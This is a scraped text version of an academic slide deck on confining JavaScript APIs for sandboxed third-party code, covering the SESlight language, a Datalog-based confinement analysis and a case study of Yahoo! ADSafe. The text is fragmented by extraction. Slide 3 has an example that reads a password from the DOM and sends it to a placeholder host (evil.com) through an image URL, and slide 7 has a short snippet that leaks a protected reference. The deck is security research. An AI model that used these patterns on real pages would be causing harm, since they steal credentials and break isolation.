Stanford University Joint work with Úlfar Erlingsson John C Mitchell Mark S Miller and Jasvir Nagra JavaScript API Confinement 1 Automated Encapsulation Analysis of SecurityCritical APIs ID: 191269
Download Presentation The PPT/PDF document "Ankur Taly" is the property of its rightful owner. Permission is granted to download and print the materials on this web site for personal, non-commercial use only, and to display it on your personal computer provided you do not modify the materials and that you retain all copyright notices contained in the materials. By downloading content from our website, you accept the terms of this agreement.
Slide1
Ankur TalyStanford UniversityJoint work withÚlfar Erlingsson, John C. Mitchell, Mark S. Miller and Jasvir Nagra
JavaScript API Confinement
1
Automated Encapsulation Analysis of Security-Critical APIs
Ankur TalySlide2
Web 2.0 – Webpages with Third-party CodeLots of client-side JavaScript, AJAXHigh Impact: Millions of users, loads of e-commerce, $$$
JavaScript API Confinement
2Slide3
Embedded JavaScript Security ThreatsJavaScript API Confinement3
<script src=
“http://adpublisher.com/ad1.js
”></script>
Has direct access to the entire JavaScript DOM API
Can read password from the DOM
var
c
= document.getElementsByName(“password”)[0]
Sending information is not subject to same-origin policy
<
img
src
=``
http::www.evil.com/info.jpg?_info
_”>
Sandbox untrusted code and only provide it with restricted access to the DOM Slide4
Language-based Sandboxing (This Work) JavaScript API Confinement4
Protected resources
API
Sandboxed code
B.com
(3
rd
party)
Facebook FBJS, Yahoo! ADSafe, Google Caja
1
2
A.com
(hosting
Page)
JS Filter & Rewriter
Trusted
Untrusted
Slide5
Mediated Access
JavaScript API Confinement
5
Resources,
DOM
Untrusted JavaScript
code
window.location
r
1
r
4
r
3
r
2
API
Closure
f
1
f
n
Closure
Access
Access
function
getHostName
()
{return
window.location.host
}
SandboxSlide6
Untrusted code must only be able to write to logAPI Design: Write-only Log ExampleJavaScript API Confinement
6
var
log = [<critical>,0,0]
<critical>
0
0
log
never leaks
Sandbox prevents direct access to
log
API only allows data to be written to
log
function
push(x
)
{
log.push(x
)}
APISlide7
API Design: Adding a store methodJavaScript API Confinement7
var
log =
[<critical>,0,0]
<critical>
0
0
function
push(x
)
{
log.push(x
)}
API
function
store(i,x
)
{
log[i
] =
x
}
log
leaks !
var
steal;
API.store(
“push”
,function(){steal
= this});
API.push
(); // steal now contains <critical>Slide8
Two ProblemsJavaScript API Confinement8
API Confinement
:
Verify that no sandboxed untrusted program can use the API to obtain a critical reference .
Sandboxing
:
Ensure that access to protected resources is obtained ONLY using the API
Protected resources
API
Sandboxed codeSlide9
API Confinement is a Complex Problem
JavaScript API Confinement
9
Resources,
DOM
f
1
r
1
r
4
r
3
r
2
Untrusted JS
Invoke
r
2
Return
r
2
Access
r
2
r
3
r
4
Side-effect
r
4
u
1
Repeat
Precision-Efficiency tradeoffSlide10
Key Properties of API ImplementationsCode is part of the trusted computing baseSmall in size, relative to the applicationWritten in a disciplined mannerDevelopers have an incentive in keeping the code simple
JavaScript API Confinement
10
Insights: Conservative and scalable static analysis techniques can do wellCan soundly establish API Confinement
Can warn developers away from using complex coding patternsSlide11
OutlineThe language SESlightSandboxing technique for untrusted
SESlight codeProcedure for verifying confinement of
SESlight APIsApplications
JavaScript API Confinement11Slide12
Evolution of Standardized JavaScriptECMAScript 3 (ES3)ECMAScript 5 (ES5) – released in Dec 2009ES5-strict
JavaScript API Confinement
12
Restriction (relative to ES3)Rationale
No
delete
on variable names
No prototypes for scope objects
No
with
No this coercion
Safe built-ins functions
No
.caller
,
.
callee
on
arguments object
No .caller, .arguments on function objectsNo arguments and formal parameters aliasingFigure 1 from paper
Lexical Scoping
Isolation of Global Object
Closure-Based EncapsulationSlide13
The SESlight languageSESlight = ES5-strict with three more restrictions:
Immutable built-in objects (e.g., Object.prototype
)No support for “setters & getters”
Only scope-bounded evalPractical to implement within ES5-strict
JavaScript API Confinement
13Slide14
Scope-bounded evalJavaScript API Confinement14
Example
:
eval(
“function(){return
x
}”
,
“
x
”
)
Explicitly list
free variables of
s
Run-time restriction:
Free
(Parse(s)) ⊆{x1,…, xn} Allows an upper bound
on side-effects of executing
seval(
s
,
x
1
,…,
x
n
)Slide15
Solving the Sandbox Problem for SESlightJavaScript API Confinement15
Developed a small-style Operational Semantics for
SESlight
Much simpler than JSLint, FBJS, Caja !
SES
light
Filter & Rewriter
s
eval(
s
,
”api
”)
Untrusted
Theorem:
α
-renaming of bound variables is semantics preserving
.
A simple sandbox:
Store API in variable “
api
”
Restrict untrusted code so that “
api
” is its only free variable
Slide16
OutlineJavaScript API Confinement16
The API Confinement Problem
:
Verify that no sandboxed untrusted program can use the API to obtain a reference to a critical resource.
The language
SES
light
Sandboxing technique for untrusted
SES
light
code
Procedure for verifying confinement of
SES
light
APIs
Applications
Slide17
Setting up the API Confinement ProblemJavaScript API Confinement17
API Confinement Problem: Given trusted code
t and a set critical of critical references,
verify Confine(t, critical)
t
;
eval(
s
,“api”,”test
”
)
end
Trusted API
Implementation
Untrusted code
Challenge
var
: untrusted code must set
”test”
to a critical reference to win
Confine(t
, critical)
:
For all untrusted terms
s
in
SES
light
,
Slide18
Challenges & TechniquesHurdles:Forall quantification on untrusted code Analysis of
eval(s,
x1,…,
xn)in general
JavaScript API Confinement
18
Techniques:
Flow-Insensitive
and
Context-Insensitive
Points-to analysis
Abstract
eval(
s
,
x
1
,…,
xn) by the set of all statements that can be written using free variables {x
1,…, xn} Confine(t
, critical)
: For all untrusted terms s in SESlight
,
Slide19
Verifying Confine(t, critical)JavaScript API Confinement
19
Trusted code
t
eval
with free
vars
”
test”,“api
”
Environment
(Built-ins)
+
+
Datalog
Solver
(least fixed point)
Inference Rules
(
SES
light
semantics)
Stack(
“test
”
,
l
)
∧
Critical(l
)
?
NOT CONFINED
CONFINED
true
false
Abstraction
Our decision procedure and implementationSlide20
Express Analysis in Datalog (Whaley et al.)Program
t
l1:var y = {};l
2:var x = y;l3:x.f = y;
JavaScript API Confinement
20
Facts(t
)
Stack(y
, l
1
)
Assign(x
,
y
)
Store(x
,
“
f
”
,
y
)
abstract
Abstract programs as
Datalog
facts
Abstract the semantics of
SES
light
as
Datalog
inference rules
Stack(x
,
l
)
:-
Assign(x, y),
Stack(y, l)Heap(l,
f, m)
:- Store(x
,
f
,
y
),
Stack(x
,
l
),
Stack(y
,
m
)
Execution of program
t
is abstracted by the least-fixed-point of
Facts(t
)
under the inference rules Slide21
Complete set of PredicatesJavaScript API Confinement21
Abstracting
terms
Abstracting Heaps & StacksAssign(x
,
y
)
Throw(l
,
x
)
Heap(l
,
x
,
m
)
Stack(x
,
l)Load(x, y, f
)Catch(l, x)Prototype(l, m)FuncType(l)
Store(x
, f, y)
TP(l
,
x
)
ObjType(l
)
ArrayType(l
)
Formal(l
,
i
,
x
)
FormalRet(l, x)NotBuiltin(l)
Critical(l
)Actual(x, i,
z, y
, l)Instance(l
, x)
Global(x
)Annotation(x
,
y
)
Sufficient to model implicit type conversions, reflection, exceptions
Abstract
eval
(
s
,
x
1
,…,
x
n
) by saturating predicates with {
x
1
,…,
x
n
} Slide22
Analyzing evalJavaScript API Confinement22
eval
(s,
x, y)
Main Idea:
Generate all possible facts using variables {
x
,
y
}
Assign(x
,
x
)
Assign(x
,
y
)
…
Store(x, All, x)Store(x,
All, y)…See paper for full descriptionStore(x, f
,
y) :- Store(x,
All
,
y
)Slide23
Soundness of our Decision ProcedureJavaScript API Confinement23
Soundness Theorem:
Procedure returns
CONFINED =>
Confine(t
, critical)
Trusted code
t
eval
with free
vars
”
test”,“api
”
Environment
(Built-ins)
+
+
Datalog
Solver
(least fixed point)
Inference Rules
(
SES
light
semantics)
Stack(
“test
”
,
l
)
∧
Critical(l
)
?
NOT CONFINED
CONFINED
true
false
AbstractionSlide24
OutlineJavaScript API Confinement24
The language
SES
light
Sandboxing technique for untrusted
SES
light
code
Procedure for verifying confinement of
SES
light
APIs
Applications
Implemented procedure in the form of a tool
ENCAP
(open source) Slide25
Analysis TargetsCode that is a key part of the trusted computing baseSmall in size, relative to the applicationWritten in a disciplined mannerDevelopers have an incentive for keeping the code simple
This Work:Yahoo!
ADSafe DOM APIBenchmark example from the Object-Capabilities literature
JavaScript API Confinement25Slide26
Yahoo! AdsafeJavaScript API Confinement26
ADSAFE object (API)
: Provides methods for manipulating the DOMStored in variable “
ADSAFE”Implemented in 2000 LOC JSLint (Sandbox):
Static filter for JS
Restricts accessible global variables to “
ADSAFE”
Security Goal
: Confinement of DOM elements
Mechanism for safely
embedding untrusted advertisements
.
Original DOM
ADSafe
DOM API
Ad code filtered using
JSLint
Hosting Page
We analyze confinement of the
AdSafe
API under the
SES
light
threat modelSlide27
Analyzing ADSafe API ImplementationJavaScript API Confinement27
On Running ENCAP (takes approx. 5 minutes)
: We obtained NOT CONFINED
Identified ADSAFE.lib and ADSAFE.go as the culprits
Desugared
ADSafe
API implementation to
SES
light
Added (trusted) annotations to improve precision
$Nat
: Added to patterns of the form
for(…
i
…){…
o[i
,$Nat
]…}
a couple of others, see paperSlide28
ExploitJavaScript API Confinement28Slide29
Fixing the AttackReplace ADSAFE.lib with the following
JavaScript API Confinement
29
ADSAFE.lib
= function(name, f){
if(!reject_name(name
)
{
adsafe_lib[name
] =
f(adsafe_lib
)
}
}
On running ENCAP:
We obtained
CONFINEDADSafe API is confined under the SESlight threat model, assuming the annotations hold
Currently adopted by AdSafe
Slide30
Conclusions and Future WorkJavaScript API Confinement30
Conclusions:
SESlight
is more amenable to static analysis than ES3Can soundly establish API confinement via analysis of trusted code
Future Work:
Improve precision by restricting trusted code to more disciplined subsets with untrusted code still in
SES
light
Consider multiple untrusted components instead of one
Static analysis techniques for checking more complex properties like Defensive Consistency
Thank You